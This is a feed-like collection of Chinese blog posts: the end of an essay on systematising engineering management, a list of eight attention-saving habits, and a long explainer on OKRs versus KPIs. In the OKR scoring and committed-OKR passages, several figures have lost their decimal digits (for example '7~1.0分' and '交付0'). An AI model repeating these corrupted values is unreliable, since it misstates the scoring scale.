系统虽有，但用得怎么样不好说，一个好的系统用不起来也是白搭，这里作为管理者需要推动起来的。

4.2 工作可视化

项目管理的系统用起来后，我们的工作流转就会落到系统里面，此时根据系统的数据，我们可以让工作可视化，透明化，能够清晰的观察工作流动的情况，从而发现瓶颈。发现问题是最难的，很多时候我们不知道有什么问题，包括自己。发现问题，才能解决问题，方法总是有的。在资源有限的情况下，对非约束点的改进看起来很正确，但实质上毫无帮助，甚至会消耗宝贵资源拖累真正需要解决的问题。

我们可以构建一些看板，看一个产品从产品到设计、到研发实现，到测试完成，上线发布，再到线上问题跟进等等的情况。看效率，看一个需求从出现想法到用户看到需要多少时间，每个环节需要多少时间，哪些需求在哪些环节停留太久？不同的需求，不同的人，不同的产品做多个层次的对比，从而发现问题解决问题，让一切都在阳光下进行。

同时，我们可以让系统和数据告诉我们，整体团队的投入如何，有多少同学的工作是可以追溯的，有多少人力是隐藏在不为人知的地方的，能看到我们的时间都去哪了。

基于这样的看板，我们从两个角度优化整个系统：

从左到右的流动，看从产品、设计、研发到运维的工作情况。为了最大程度地优化工作流，需要将工作可视化，减小每批次大小和等待间隔，通过内建质量杜绝向下游传递缺陷，并持续地优化全局目标；
从右向左的反馈，每个阶段中，应用持续、快速的工作反馈机制。通过放大反馈环防止问题复发，并缩短问题发现时间，实现快速修复。通过这种方式，我们能从源头控制质量，并在流程中嵌入相关的知识。这样不仅能创造出更安全的工作系统，还可以在灾难性事故发生前就检测到并解决它。

总体来说，先透明出来，再优化，打开黑盒，问题会简单很多。

4.3 其它

以上的两个是从任务跟进和结果度量的角度，或者说从项目管理的角度来看整个团队的运转。换一个角度，从研发同学工作本身，有没有需要系统化的地方？

代码管理是否系统化，Code Review、接口文档、接口自动化测试、Mock 数据、测试数据集管理、用户数据自动脱敏重放，代码从写完提交到代码库之后到上线，线上巡查等等这些是否有系统化？

这并不是今天我们要讲的话题，但是就系统化来说，这些都是必不可少的关键点。不管是哪方面，我们的原则是尽量减少人工介入，把人的经验变成代码和系统。

5. 后记

这篇文章务虚居多，也比较散，但是确实是技术管理者日常工作中要不停思考的点。思考这些是用来帮助厘清思路，并不具备实操性，也就是不能实际的解决问题。不同的公司，不同团队，问题不同，解决的方法也不同，欢迎一起探讨。

打开「黑盒」，问题会简单很多。常思考人、组织、机制和系统，这 4 个方面，发现其中的问题，并厘清解决问题的思路，一步一步，有节奏的去解决。

你好，我是潘锦，超过 10 年的研发管理和技术架构经历，出过书，创过业，带过百人团队，也在腾讯，A 股上市公司呆过一些年头，现在在一家 C 轮的公司负责一些技术方面的管理工作。早年做过 NOI 和 ACM，对前端架构、跨端、后端架构、云原生、DevOps 等技术始终保持着浓厚的兴趣，平时喜欢读书、思考，终身学习实践者，欢迎一起交流学习。微信公众号：架构和远方，博客： www.phppan.com

注意力容易分散？这8件小事帮你节省注意力

Mon, 06 Jun 2022 19:38:59 CST

小强最近发现自己特别容易纠结

好不容易有点可以自由支配的时间，到底用来看书呢？还是写点东西呢？还是做个冥想或者拉伸呢？选择看书的话总觉得都好久没写东西了，应该写点啥，选择写东西吧，又觉得没准备好素材，就30分钟时间也写不完，那种写一半的感觉最痛苦了……

就这样，纠结了15分钟，啥都没干，还觉得特别累，算了，还是把那部剧刷完吧，所谓纠结，就是注意力的内耗

在我们这个时代，比金钱更宝贵的是时间，因为它只有每天24小时，比金钱更宝贵的是注意力，因为我们没法每天24小时都保持专注，那么有哪些可以帮我们节省注意力的小事呢？

我前两天在只管去做成长会收集到了将近20个技巧，拿出其中8个我觉得特别有启发的分享给你：

1、固定物品的摆放位置

从小我父亲就告诉我说：“把东西都放在固定的位置上，用的时候直接去拿就好了，用完之后再放回原处”，可以说这段话是我时间管理内力的来源，“东西放在固定的位置上”训练我对物品和事情的分类整理，“用完之后放回原处”训练我的自律

而“用的时候直接去拿就好了”这一句，则是帮我节省了大量的注意力，请你想象一下，准备出门的时候，在门口钥匙兜把车钥匙门钥匙一拿，伞篓里把伞一拿，衣架上把衣服和包一拿，直接出门，是不是很丝滑流畅？

请你再想象一下：出门的时候找不到钥匙放哪了，找半天，又找不到包放哪了，昨天明明放在客厅的（放到客厅哪了？），是不是精神内耗很严重？注意力被严重透支

如果真的能做个实验的话，前者（有固定摆放位置）一定在地铁上能够心无旁骛的看书，或者更愿意听书学习，后者呢？则无法集中注意力去学习

注意力是我们将精神集中于某种事物的能力，杂乱的生活会击碎我们的注意力

2、同样的袜子买一打

这个建议来自Z成长会的高敏杰，同样的袜子买一打，每天就不用为选择穿哪双袜子而消耗注意力了，同样采取这个策略的还有乔布斯、扎克伯格、周鸿祎

乔布斯让三宅一生给他做了够穿一辈子的黑色高领衫，加上牛仔裤和NB鞋，扎克伯格，十年如一日，总是穿灰色的T恤出现在公众视野，天冷再添一件帽衫，周鸿祎则是永远的红色polo衫

任何一个选择，都在消耗着我们的注意力和意志力，我想这就是为什么牛人都在简化自己的生活，因为这样才能最大化自己的成果

3、在卧室、书桌、客厅放三本书

想要戒掉某个习惯，那就给这个习惯设置一些小门槛，比如说戒掉晚上刷手机的习惯，我就会把手机放到客厅，躺在床上突然想刷手机了，但客厅那么远，还要起床、开门……算了，还是睡吧（当然也有例外的时候，刷一会儿再放到客厅去）

反过来说：想要养成某个习惯，就要把那些门槛都去掉，比如说看书，给我是、书桌、客厅各放一本书，不论在哪个空间想要读书了，随手就能拿起一本书来读，不需要纠结“要不要去书房拿书？”，“读哪本书好呢？”，浪费注意力

4、重复的事情流程化

这个建议来自Z成长会的荣伟，把重复的事情流程化，比如说我们经常组织会议，那么能否把会前准备、会中流程、会后跟进全部流程化，这样下次要组织会议，直接按照这个流程来，就节省很多注意力

我在《小强升职记》这本书里提到“做事靠系统，不是靠感觉”，我建立了家庭的资产负债表和现金流表，每月更新，因为经常开发课程，还提炼出了开发课程的天龙八部（课程开发流程），包括写文章，也提炼出了6个常用模板，每次直接套用就好

有些人说自己缺少结构化思维，没关系呀，你找个有结构化思维、框架思维的人帮你一切梳理出来流程，后面不断迭代就可以了，别把这个当借口

5、手边随时备着便利贴

这个建议来自Z成长会的老曲，不管是工作还是学习，都在手边放上一沓便利贴，不论是脑袋里突然冒出的想法，还是别人拜托要做的事情，都随时记录在上面，然后迅速回到手头正在做的事情上来，这样能有效避免打扰和分心

这也是《搞定》这本书的作者DavidAllen所说的：清空大脑，保持专注

6、清空桌面，手机勿扰

这个建议来自Z成长会的李文娟，她说：“做需要注意力的工作时，周围的干扰项都要清空，比如桌面不留其他杂物，手机关闭信息提示和来电提示（音），专注工作和学习时，保持离线状态，在线时间再集中处理信息，做交流类任务”。

我自己的手机处于勿扰模式已经半年之久了，完全没有出现想象中“别人找不到怎么办？”“会不会错过重要信息”这样的担忧，即使电话不在身边，iwatch也可以提醒和接听电话，但这样给我带来的好处就是更加主动的掌控我要看什么信息、我要跟谁联络，你也可以试试

7、用大数据买东西

如果你特别享受挑选物品的过程，那我啥也不说了，否则的话，你可以试试我用大数据没东西的策略

买书，不管是别人推荐的还是文章推送的书，我都会第一时间到豆瓣看看这本书的评分、评价，首先是评分要在7.5分以上才会买来看，因为新书上市会有刷评分的情况，所以还要看一下最近的短评和评分，这通常比较中肯，同样的道理，如果一本书的评分很高，9.2分，但是评分数量很少，100以下，那我也会慎重考虑，因为可能是自己粉丝刷出来的评分

买东西，淘宝也好，京东也好，我直接搜索要买的东西，比如电动牙刷，然后按照销量排序，然后选择自己喜欢的品牌，比如博朗，然后根据自己心理价位选择接近的买回来就好，整个过程不超过3分钟，我从来不会为了凑优惠券去买自己不需要或者不想要的东西，这一点老婆对我非常佩服

买基金也是，除了理财投资顾问的建议，我就在天天基金网按照近5年的收益率排序，然后选择自己想买的板块，比如煤电、银行，然后选择自己喜欢的基金经理，如果没有喜欢的或者不了解，那就选择掌管基金时间足够长的经理，就行了，我用不到十分钟的时间选了坤坤的优质精选混合，持有3年也带来了10%以上的年化收益

我的这种粗暴的做法依赖的是大数据和放下对完美的追求（也可能买到烂书、烂货），但我仍然这么做的原因是：毕竟对我来说更重要的是把选择的时间和注意力省下来去做别的事情，回报更高的事情

8、准备物品“一包流”

我有好多包包，但不是女生那种美美哒，主要以场景为主，我称之为“一包流”，不论要做什么，一个包一提就走

比如说我平时运动的包，里面装着衣服、鞋、护具，要去打篮球或者踢足球，直接一提就走

还有出去讲课的箱子，教具、雨伞、备用袜子和纸，还有口罩，都在里面放着，每次出门就把衣服鞋子放进去，就走了

再比如门后面挂个包包，里面装着出门用的东西：门钥匙、车钥匙、零钱等等，出门的时候在包里把东西一拿就走

“一包流”的做法让我不需要太多的思考和选择，当然，每次用完之后要归位、整理，这样下次出门才能达到“一拿就走”的地步

结语

你的注意力在哪里，你的世界就在哪里，希望大家保护自己的注意力，把它用在自己最需要的地方

目标管理体系：OKR

Fri, 29 Apr 2022 10:10:51 CST

最早接触OKR是在2014的时候，当时听了豌豆荚丁吉昌的《我们在豌豆荚如何做产品研发》分享了解的。当时听了感觉的收益良多，但在实践时却遇到了很多困难。其中最大的难度是公司当时每月都有严格的KPI考核制度，OKR虽然说是和个人绩效没有关系，但在执行的时候却发现关联脱离不了关系，越到后面越觉得只是表面上改了个名而已。总觉得需要再深入学习一遍。

什么是OKR？

OKR体系的全称是 Objectives & Key Results，即目标与关键成果。所谓OKR，O = Objective 可以理解为企业目标，KR ＝Key Results 可以理解为关键结果。浓缩在一起就是“为确保达成企业目标的关键结果分解与实施”。

OKR的发展历史

1968年，安迪格罗夫在英特尔发明了OKR这套目标管理办法；
1974年，约翰杜尔加入了英特尔，跟安迪·格罗夫学习了OKR并身体力行的践行着OKR的实施原则；
1999年，在Google成立不到一年的时候，约翰杜尔投资了他们，并向他们的领导层提出OKR的概念。虽然它的创始人谢尔盖·布林和拉里·佩奇拥有强大的创业能量和雄心勃勃的愿景，但他们没有实现这一目标的管理技术，正是OKR让Google实现了100亿美元收入的雄心勃勃的目标；
2017年，约翰杜尔发表了他的《Measure What Matters》，并将这一管理智慧，分享给50多家公司和机构。

OKR VS KPI VS MBO

彼得·德鲁克在上世纪60年代提出了 目标管理法(Management by Objectives，MBO)的思想，MBO的原理很简单，它基于两个基本原则：

不要告诉下属具体怎么做，只要告诉他们你要什么，他们就会给你满意的结果
用关键结果衡量工作绩效，即如果基础的商业问题没有解决，不论实现多少产品功能，团队整体的绩效一定会大打折扣。

第一个原则是在说如何调动团队的积极性，第二个原则是在讲怎样评估工作绩效。

此后80年代 SMART原则(Specific、Measurable、Achievable、Relevant、Time-bound) 和 关键绩效指标（Key Performance Indicators，KPI） 开始流行起来。KPI把对绩效的评估简化为对几个关键指标的考核，将关键指标当作评估标准，把员工的绩效与关键指标作出比较地评估方法，在一定程度上可以说是目标管理法与帕累托定律的有效结合。关键指标必须符合SMART原则：具体性（Specific）、衡量性(Measurable)、可达性(Attainable)、现实性(Realistic)、时限性(Time-based)。

后来英特尔公司把结合了前面的多种理论，发展成为OKR，OKR能适度弥补过度强调目标管理和KPI，导致悖离公司愿景的缺陷。1999年John Doerr把OKR引入Google。

一句话概括三者之间的差别：MBO目标管理是「主管和员工都想做的事」，KPI是「主管要员工做的事」，OKR则是「我自己想做的事」

OKR与KPI的区别

OKR表示Objectives and Key Results，即目标和关键成果，是一套定义和跟踪目标及其完成情况的管理工具和方法。KPI表示Key Performance Indicators，即关键绩效指标，是一种可量化的、被事先认可的、用来反映组织目标实现程度的重要指标体系，也是企业绩效管理过程中一个实用而且有效的工具，更是绩效管理实现过程中的一个重要内容。KPI的本质是一种管理工具，它主要是从结果上来考察绩效，不关注过程，一切用指标来说话。

OKR 主要的目的是为了更有效率的完成目标任务，并且依据项目进展来考核的一种方法。它的主要流程是这样的一个循环。

明确项目目标。
对关键性结果进行可量化的定义，并且明确达成目标的/未完成目标的措施。
共同努力达成目标。
根据项目进展进行评估。

而对于国内来说，更熟悉的其实是 KPI (Key Performance Indicator)，而 KPI 的流程则是这样的：

进行人事组织。
确定影响结果的关键性因素，并且确立 KPI 。
对关键绩效指标进行检测，并且进行实时监督。
对有错误行为的人进行监督，更甚者开除。

通过两者的对比我们能够看到，OKR 主要强调的是对于项目的推进，而 KPI 主要强调的是对人事的高效组织，前者要求的是如何更有效率的完成一个有野心的项目，而后者则强调的是如何保质保量的完成预定目标。OKR相对于KPI而言，不是一个考核工具，而是一个更具有指导性的工具，说白了，是一个PLAN-DO-REVIEW的cycle。他存在的主要目的不是考核某个团队或者员工，而是时刻提醒每一个人当前的任务是什么。每个人都有自己的OKR，每个团队有团队的OKR，无论级别高低，团队大小，都需要制订和服从OKR。这个OKR在每个季度结束之后要做一个评分。评分高低并不直接决定一个员工的晋升和待遇，而更多的是提醒员工，这个季度工作完成的怎么样，未完成的工作为什么没有完成，下一阶段的工作重心是什么。

KPI 理论上是必须严格按照 SMART 标准制订的，是否达到甚至达到比例多少（小于 100% 还是大于 100%）都是要能测量的。但这就导致一个问题，有些事情值得去做，但在做出来一部分之前无法测量因此无法制订目标，这时候就陷入了先有鸡还是先有蛋的问题了。KPI 还有一个更严重的问题，那就是为了完成可测量的目标，有可能实际执行手段与该目标要达到的愿景正好相反。举个例子来说，我们希望用户更喜欢使用我们的产品，因为喜欢无法测量，所以把 PV 写进了 KPI 里面。但在实际执行过程中，我们可以把用户原本在一个页面上就能完成的事情分到几个页面上来完成，结果 PV 达到了 KPI 指定的目标，但用户其实更讨厌我们的产品了。大家如此应付 KPI 是因为 KPI 跟绩效考核挂钩。如果 KPI 达不到那就会影响奖金，所以就算违背公司利益，违背用户利益，也要把自己的 KPI 完成了，把部门的 KPI 完成了。

KPI存在的缺陷：

没有人对最终结果负责，每个人只对自己的过程负责。
人的主观能动性被压抑。
结果高度依赖机器和管理者的指令。

OKR 解决了 KPI 的这些缺陷。首先它和绩效考核分离，把绩效考核交给 peer review（相当于360 度评价）来做。然后它强调 Key Result 必须服从 Objective，所以如果你在 Objective 上写了要让用户喜欢我们的产品，但你实际执行 Key Result 的手段违反了这一点的话，谁都能看得出来。既然 Key Result 只是用来服务于 Objective 的，那就没必要像 KPI 那样一早制订好然后强制执行了。你可以在做的过程中随意更改 Key Result，只要它们还是服务于原本的 Objective 就行。

OKR 最重要的作用就是帮助你stay focus，stay focus又能帮助你make impact。总的来说，绩效考核的核心都是 impact（Google的impact文化。衡量的是员工为Google做出了多大的impact，而不是员工是不是很努力地干了很多活，也不是员工是不是听老板的话完成了老板布置的任务。），而测量的手段都是 peer review。其实在没有 OKR 的情况下，这套绩效考核机制还是完全能操作的，但参与者就可以因为缺乏引导而没办法实现他们能实现的最大 impact。OKR 就是让你在每个季度开始之前想一想，有哪些事情从 impact 的角度来说是值得做的，有哪些事情是你想做的，然后取个交集，再列举若干有一定概率（通常建议是 2/3）能达成目标的手段。除了 make impact，OKR 还能用来引导你 stay focus 在别的事情上。

OKR 可以取代 KPI 吗？

请你来思考这样一个问题：OKR 是目标管理工具，KPI 是绩效管理工具，那么管理中所用的“目标”是“绩效”吗？

目标包括绩效，但不局限于绩效，也就是说，OKR 中可以允许添加与绩效相关的内容，但需要注意的是，一定不要将绩效与考核挂钩，更不要与奖金或薪资挂钩。

OKR 的出现不是为了取代 KPI，而且预测未来很长一段时间内 KPI 都会一直存在。

OKR 与 KPI 如何结合使用？

OKR 关注的是结果和过程，更关注过程，而 KPI 关注的只是结果，OKR 与 KPI 有效结合，才能实现“1+1>2”的价值。

只有以“一对一”这样的形式才能建立更好的沟通。

KPI 中包括的绩效指标一定是只看结果，而不看过程的，只要结果达到了就行，而 OKR 需要更多地关心过程，从结果中判断目标的具体达成情况。

OKR的作用

聚焦：对优先事项的聚焦和承诺

做正确的事，远比正确做事更重要。每个成员都朝着一个方向使劲，形成合力。

聚焦重要的工作，同时清楚什么是不重要的。
OKR是一种精准沟通的工具，能消除困惑，让我们进一步明确目标，聚焦到关键的成功要素上。

OKR 恰恰能够解决短期目标的实现问题，让目标更加聚焦，让行动脚踏实地，通过完成 KR 从而实现 O，这也正是 OKR 的基本原理。

为了让目标更加聚焦，因此在制定 O 的时候就需要考虑“做减法”，不要贪多求广，在资源有限的前提下，我们只有集中优势“兵力”，才能逐个歼灭“敌人”。

聚焦目标有什么用处？也许西蒙·斯涅克的黄金圈法则可以一定程度说明这个问题：

What – 做什么：这个无需多言，每个人都知道自己正在做着什么。
How – 怎么做：你的个人努力、才智、经验，以及可利用的资源，简而言之，比别人优秀之处。
Why – 为什么做：会考虑这件事的人少之又少。在这里，为了赚钱不算是「Why」，因为金钱数额只是一个结果。真正的「Why」是：你早上为了什么从床上爬起？你怀着什么样的信念？你凭什么得到他人的关注？

通常，我们交流、行动、思考的方式都是从外向内的，从清晰开始，然后逐渐模糊。但 OKR 的魔力在于，它的逻辑恰是由内向外的。

举个例子，一般公司的推销逻辑是：What → How → Why，而苹果的则是：Why → How → What。

事实证明，人们买的不是产品，而是你的信念。同理，我们用 OKR 指导个人工作学习时，也不是为了 What 而完成某件事，而是为了 Why ——先明确一个信念，然后让自己的步伐始终正确、坚定向它迈进。

具体来说，OKR 的力量在于：

清晰战略。OKR 工作法是结果导向，强调把时间和精力聚焦在最重要的任务上，所以它能够呈现出最需要被关注的任务/问题。
提供持续稳定动力。也正因如此，该方法尽可能地避免了目标和优先级不清晰引起的思路混乱，以及随之而来的消极怠工，提供了完成目标所需的动力和热情。
完成复杂项目。清单是一个常见且简单的思维工具，能够有效清点各项事务。但它在复杂的项目中的作用会大打折扣，因为清单不能帮助你战略性地分辨优先级，也不能结构化地添加可执行细则。而这些，正是 OKR 的强项。
整合其他任务。支线任务。需要注意的是，OKR和清单在日常中的应用并不互斥，而是相互补充——OKR 是你目前在做的主要项目，每天当然也会遇到各种与主线不相关的支线任务，这些杂事则用清单记录。重要任务。在重要和紧急的任务中，优先级最高的永远是那些紧急的任务，因为我们对于时间的压力更加敏感。但这也意味着，如果没有一个科学的规划，那么重要的任务将会无限期地被滞后下去。所以，除了复杂项目，对于那些重要不紧急任务，设置 OKR 也是非常必要的，例如学习一样乐器，或通过一门高难度考试——将这些需要持之以恒才能完成的任务，有机地拆解融合在日常生活中。

协同：团队工作的协调和联系

OKR对每个成员透明，个人与组织目标一致，相互协作。

OKR具有透明性，上自首席执行官，下至一般员工，每个人的目标都是公开的。
每个员工都将个人目标与公司计划紧密联系起来，进而明确两者之间的依赖关系，并与其他团队展开通力协作。
这种自下而上的协同，将个人贡献与组织成功联系起来，为工作赋予了特定的意义。
自下而上的OKR，则通过加深员工的主人翁意识，促进了个人的参与和创新。

《孙子兵法》云“上下同欲者胜”。制定 OKR 时，需要“自顶向下”沟通，还需要“自底向上”对齐，让下级更加充分地理解上级的目标及其意图。

上级：需要根据自己的经验，对团队价值进行全局性思考，才能制定出合理的目标。
下级：需要根据自身岗位特征和个人成长诉求，从思想和行动上充分支撑上级所制定的目标。

只有大家朝着同一个方向使劲，最终才能实现公司的组织目标，从而使得全员共同推动企业战略目标的达成，这才是 OKR 的最大价值。

我们在制定目标时，要尽可能与上级目标保持对齐，而不是完全对齐。

挑战：充分延展进而挑战不可能

允许失败，不作为考核依据，挑战更多“不可能”，释放出无限创造力。

OKR激励我们不断超越之前设定的各种可能，甚至超出我们想象力。
通过挑战极限和允许失败，OKR能够促使我们释放出最具创造力的雄心和自我。

除了金钱等物质激励以外，最有效的激励方式莫过于“成长”和“认可”，而且精神激励往往比物质激励产生的激励效果更持久。

埃德温·洛克被誉为结构化目标设定理论之父，他对目标的难易程度与实现程度之间的关系进行了大量实验和实证研究。尽管研究的范围和领域很广泛，但研究结果却出奇一致。洛克写道：“目标设定越具有挑战性，所产生的结果越佳。虽然高难度的目标与其产出结果之间的差距，通常会大于低难度目标与其产出结果之间的差距，但是前者达到的最终结果仍然比后者要好。 ”研究结果显示，设定具有挑战性目标的员工，不仅会取得更好的绩效，还会提高自我驱动力，以及对工作的投入程度。洛克指出：“设定明确而有挑战性的目标不仅可以提高工作的趣味性，同时也可以帮助人们体会到工作带来的愉悦感。 ”

如何实施OKR？

在企业中推广 OKR，最好不要请 HR 去“主导”这件事情。

在企业中推广 OKR 时，请务必记住以下三点：

一定不要强制性地去推广 OKR，更不要在大家概念不一致的情况下就大规模推广 OKR。
当大家对 OKR 理解不一致时，一定要请外部 OKR 专家到企业内部做 OKR 培训，才能快速建立共识。
要充分发挥你的领导力去影响身边的人，让高管们对 OKR 表示认同，让团队成员们尝到 OKR 的甜头，这才是我们作为领导者需要去做的事情。

OKR理念推广

明确OKR在整个组织目标体系中所处的位置

如果不能区分目标层次，在定目标的时候容易把不同颗粒度的目标混淆在一起造成思维上模糊，需要反复审视才能梳理出清晰的目标结构体系。

Mission是企业存在的理由，带给顾客的价值
Strategy是企业近期要往哪个方向走
Objective是承接战略落地的当期目标
Key Result是目标达成的关键结果(里程碑)
Key Action是支撑关键结果达成的具体动作

Mission -> Vision -> Strategy -> Objectives -> Key Results

一个企业，从使命、愿景，到战略拆解，最后到 OKR 执行。以终为始，层层递进，从诗和远方到眼前的苟且，确保我们始终在做最重要的事。

普及OKR 四个强大理念：

OKR的推广一定要从理念松土开始。首先取得一把手的认可和支持，然后对主管团队进行理念宣传，最后才是全员培训。只有当团队成员都理解并认可OKR的理念，后续推行才会获得配合支持。对OKR理念不理解或不认可的团队容易走形式。经过3轮主管团队、2轮全体员工的培训和研讨，OKR四个核心理念逐渐被大家所接受。每个理念的首字母刚好组成FAST。

Focus。聚焦最重要的目标。写下对组织和个人最有价值的事，避免瞎忙，把时间精力浪费在非战略机会点上。
Align。目标拉通对齐。组织自上而下给出战略指引，员工自下而上进行研讨承接战略目标，赋予员工自主性。
Stretch。自我挑战攻坚克难。通过自设挑战型目标，牵引组织和个人突破当前的能力限制，持续提升能力。
Track。及时跟踪刷新进展。缺乏及时的进展跟踪，目标慢慢地变得无关紧要。目标一定要有数字、可衡量。

普及好的O和KR应该符合高标准

好的Objective应该做到：

聚焦高价值。当期OKR不建议超过5个，多了容易失焦。聚焦高价值，而不是常规工作。
简洁清楚。用一句话简介清楚的描述你的目标。一句话描述不清楚通常是因为没想清楚。
振奋人心。挑战性目标的描述能够引起内心的共鸣，从而激发力量。不被认可的目标没有力量。
方向明确。目标不能太抽象，也不能含混不清，要让每个人都能看得懂。
目标对齐。下级要对齐上级的目标，即向上对齐，平级还要相互对齐，即水平对齐。

好的Key Result应该做到：

有数字可衡量。衡量Key Result达成的标准必须非常清晰，可以量化，支撑每周、每月的进展追踪。
足够挑战。核心指标的设置(如收入/销量/份额/知名度/推荐度等)必须足够挑战。完成信心50%时最佳。
足够充分。理论上所有Key Result达成后，必然导致总目标的达成。否则就说明你的Key Result不够充分。
不是任务：关键结果需要对目标产生直接影响，它不是日常任务，也不是行动计划。

一个 OKR 可以包含多个 O，每个 O 又可以包含多个 KR。O 就不应该设置太多，最多不要超过 3 个。每个 O 所包含的 KR 也无需太多，最多也不要超过 3 个。

输出团队OKR推行四步方法论

OKR的推行是深刻的组织协作方式的变革，除了做好理念布道外，还要给出清晰的方法论和步骤。寻找变革后的利益相关方进行试点打样，是比较稳妥的方式。我找到两个团队打样。一个是国家主管团队，一个是运营商销售团队。两个团队主管都非常认可OKR理念，都急于重新激活团队成员主动性，给与了高度配合。通过前后８轮的小组研讨，我们梳理出一个相对高效的团队OKR制定步骤和配套工具模板，分四步走。

组织战略解码。输入：组织给出战略指引。输出：各团队成员根据组织战略结合自身情况提出团队OKR建议。教训: 这是关键的第一步。前面几轮目标研讨并不高效，几个小时的零散讨论容易失焦，讨论没有边界。要先给出明确的组织战略方向作为指引。
团队目标众筹。输入：在白板上审视所有成员OKR提议。输出：全体成员经过讨论争辩，去重添漏，输出高标准的团队OKR，与上级目标拉通对齐。教训: 这是最耗时的一步。保证讨论质量要分两步走，先讨论哪些O有价值，再讨论需要哪些KR以及如何衡量。讨论工具建议用白板，容易擦写编辑，用表格容易框死思路。
个人目标录入。输入：团队OKR指引。输出：队员根据团队OKR指引制定个人OKR，与主管目标对齐后录入OKR系统。教训: 这是被低估的一步。没有IT系统的支撑，OKR透明围观和敏捷调整的特性很难发挥出来。除了PC端，还要加强对手机端的使用培训。
及时跟踪进展。输入：团队成员定期刷新OKR进展。输出：团队主管及时给与反馈和指导。教训: 这是最重要的一步。前面三步是制定目标，这一步是从目标到执行的关键。月度OKR进展审视会要开起来，让团队成员和主管养成每周每月推动OKR进展的习惯。

OKR的实施步骤

确定目标

目标来源于对业务战略或工作计划的分解，同时，也是确定关键成果的唯一依据。知道要去哪里的人，往往会更加清楚如何到达目的地。

确定目标时需要满足如下要求:

目标明确且具有挑战性：目标要有野心，并非百分之百能够完成目标，让员工走出能力“舒适区”，最好达到能力挑战区。
兼顾自上而下与自下而上：设定的方式总体而言是自上而下，同时鼓励员工自主发起目标比与直接上级进行讨论。
简洁、聚焦：每人每个季度目标不超过5个，强调对目标的筛选和重要性的把握，将有限的资源聚焦在最重要的事情上。
公开透明：任何层级的OKR在全公司内公开透明，保证从组织到个人目标的一致性且互不重叠。

好的目标	不好的目标
拿下南湾地区的咖啡直销零售市场	销售额提升30%。
推出一个很棒的最小化可行产品（MVP）	用户增加一倍。
改变帕洛阿尔托地区的优惠券使用习惯！	B系列产品收入增加到500万美元
完成一轮融资。	…

为什么这些是不太好的目标？因为它们实质上是关键结果。

心理学教授埃德温·洛克指出，「困难目标」往往比简单目标更能有效提升绩效。所以这个目标（ O ）更多的是指示了一种方向，不必追求必须完成，而是尽可能冲向它

制定关键结果

关键结果应该是明确的、具体的、可衡量的，产出和投入的组合（匹配）对其有所帮助。每个目标的关键结果都不要超过5个，完成所有关键结果的关键和前提是实现目标，如果目标没有实现，那就不是OKR了。

确定关键结果需要满足的条件：

必须可量化：设定可量化的关键结果能够准确衡量其完成情况，避免人浮于事。
直接性：每个KR必须是能够直接完成的，不能是间接完成，更不能通过其他协助来完成。
数量精简：每一个O分解出的KRs不超过5个，避免分散精力。
周期内灵活调整： O一旦确定一般不可改变，但KRs在一个周期内可以酌情及时调整。

追踪成果

不是年末或者整个OKR结束以后才进行结果评估，而是在整个过程中随时的追踪，在这期间，如果发现环境有变化或者某些关键结果亮起了红灯，就需要及时调整方向和资源投入。

我们需要一个新的人力资源模式来适应新的工作环境。这一模式就是持续性绩效管理体系，用于取代当前的年度评估体系。持续性绩效管理是通过一种叫作 CFR（Conversation，Feedback，Recognition）的管理工具来实现的：

对话（Conversation）：经理与员工之间真实的、高质量的交流，旨在对绩效提升起到驱动作用。
反馈（Feedback）：同事之间面对面进行双向沟通或通过网络进行交流，以评估工作进展情况并探讨未来的改进方向。
认可（Recognition）：根据个体所做贡献的大小施以对等的表彰。

和OKR一样，CFR在组织的各层级都强调透明、问责、授权和团队合作。CFR是有效沟通的“刺激物”，它能激发OKR，并将其送入正确的轨道。CFR是一个完整的交付系统，用于衡量什么才是最重要的事情，让绩效管理“直击要害”。CFR完全体现了安迪·格鲁夫创新方法的精髓和力量，也使得OKR更加人性化。

四象限看板

《OKR工作法》介绍了利用四象限图进行OKR跟踪，以周级别进行本周的回顾，掌握 “承担责任-庆祝成果” 的节奏

每周一，团队一起开会盘点 OKR，来明确本周具体负责完成哪些任务。
每周五，召开“胜利会议”，让每个团队都可以展示本周的工作成果，并准备一些酒水饮料和点心等庆祝这些成果。

第一象限-OKR当前状态：展示目标总进度和关键成果总进度。第一象限的作用是辅助团队重新明确OKR，以及盘点当前关键结果，调整关键结果信心指数。
第二象限-本周关注的任务：列出本周3~4件最重要、只有完成才能推进目标的任务，确定这几件任务的优先级。
第三象限-未来四周的计划：规划近期需要准备或支持的事项。当第二象限的事项发生变化时，第三象限的工作任务也要及时调整。
第四象限-其他状态目标：关键成果当前进展, 直观反应KR上出现的一系列问题，方便及时跟进排除。

关键结果后面的百分数是OKR的信心指数，它是一种自我预估的自信心度量，描述实现KR的信心。在项目推进过程中，根据进展情况，需要不断的调整这个信心指数。

总结评分

给一个目标结果打分最简单、最明确的方法是通过计算其相关关键结果的百分比完成率。谷歌使用0~1.0分作为计量标准，也就是说的交通灯打分法：

7~1.0分=绿色（0.7以上则代表完成目标，但是如果是1分，那么需要注意是否目标不够挑战，在下个周期需要加大挑战性；）
4~0.6分=黄色（取得了进步，但是并未完成目标）
0~0.3分=红色（并未取得进步，也没有完成目标，或者是目标挑战性太强，需要分析找出原因。）

比如我们完成了5个指标中的4个，基准得分为0.8，在绿色区域。

KR的达成要与个人的绩效考核脱钩。

承诺型 OKR

预计团队将重新安排他们的其他优先事项，以确保按计划交付0。
无法可信地承诺 OKR 上交付0 的团队必须迅速升级。这是一个关键点：在这种（常见）情况下升级不仅可以，而且是必需的。无论问题是由于对 OKR 的分歧、对其优先级的分歧，还是无法分配足够的时间/人员/资源，升级都是好的。它允许团队的管理层制定选项并解决冲突。

推论：每一个新的 OKR 都可能涉及一定程度的升级，因为它需要改变现有的优先事项和承诺。不需要更改任何团队活动的 OKR 是一种一切照旧的 OKR，它们不太可能是新的——尽管它们之前可能没有被记录下来。

在到期日之前未能达到0 的承诺 OKR 需要进行事后分析。这不是为了惩罚团队。它旨在了解在 OKR 的计划和/或执行过程中发生了什么，以便团队可以提高他们在承诺的 OKR 上可靠地达到 1.0 的能力。
承诺 OKR 类别的示例是确保服务满足本季度的 SLA（服务水平协议）；或在设定日期前为基础设施系统提供定义的功能或改进；或以某个成本点制造和交付一定数量的服务器。

抱负型 OKR

一组有抱负的 OKR 将在设计上超出团队在给定季度的执行能力。OKR 的优先级应告知团队成员在完成团队承诺后将剩余时间花在哪里的决定。一般来说，优先级较高的 OKR 应该在优先级较低的 OKR 之前完成。
